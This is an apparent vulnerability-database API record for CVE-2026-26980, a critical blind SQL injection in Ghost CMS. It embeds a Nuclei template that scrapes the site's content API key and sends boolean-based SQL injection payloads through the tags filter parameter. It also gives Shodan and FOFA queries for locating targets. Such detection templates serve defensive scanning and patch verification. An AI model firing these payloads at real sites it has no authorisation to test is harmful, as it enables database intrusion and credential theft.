{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-26980/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-26980/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-26980/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-26980/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-26980/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-26980/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-26980"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-26980"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-26980.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-26980\n\ninfo:\n  name: Ghost CMS Content API - SQL Injection\n  author: domwhewell-sage\n  severity: critical\n  description: |\n    Ghost CMS before 6.19.1 is vulnerable to a blind SQL injection in the /ghost/api/content/tags/ endpoint via the filter parameter. This template checks for the vulnerability by sending a boolean-based payload.\n  impact: |\n    An unauthenticated attacker can extract arbitrary data from the Ghost database including user credentials, API keys, and all content, potentially leading to full compromise of the CMS.\n  remediation: |\n    Upgrade Ghost CMS to version 6.19.1 or later which uses parameterized queries for slug filter ordering.\n  reference:\n    - https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97\n    - https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-26980\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n    cvss-score: 9.4\n    cve-id: CVE-2026-26980\n    epss-score: 0.71095\n    epss-percentile: 0.99409\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: ghost\n    product: ghost\n    framework: node.js\n    shodan-query: http.component:\"Ghost\"\n    fofa-query: app=\"Ghost\"\n  tags: cve,cve2026,ghost,ghostcms,sqli,vuln,vkev\n\nflow: |\n  http(1) && http(2) && http(3)\n\nhttp:\n  - id: extract-api-key\n    method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: api_key\n        part: body\n        group: 1\n        regex:\n          - 'data-key=\"([a-f0-9]{20,})\"'\n        internal: true\n\n  - id: extract-first-slug\n    method: GET\n    path:\n      - \"{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:-null\"\n\n    extractors:\n      - type: json\n        part: body\n        name: first_slug\n        json:\n          - '.tags[0].slug'\n        internal: true\n\n  - id: check-sqli\n    method: GET\n    path:\n      - \"{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',{{first_slug}}]\"\n      - \"{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=0 THEN 0 ELSE EXP(710) END||',{{first_slug}}]\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"len(body_1) != len(body_2)\"\n# digest: 490a0046304402202996313bde9b3a13c96a6689fc379a1029583a609947637d47749d1d20d7fda2022019153db95f784ed9e25f59b9a917ee516c648f7033c6205aa85c81458e223d62:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-26980"
}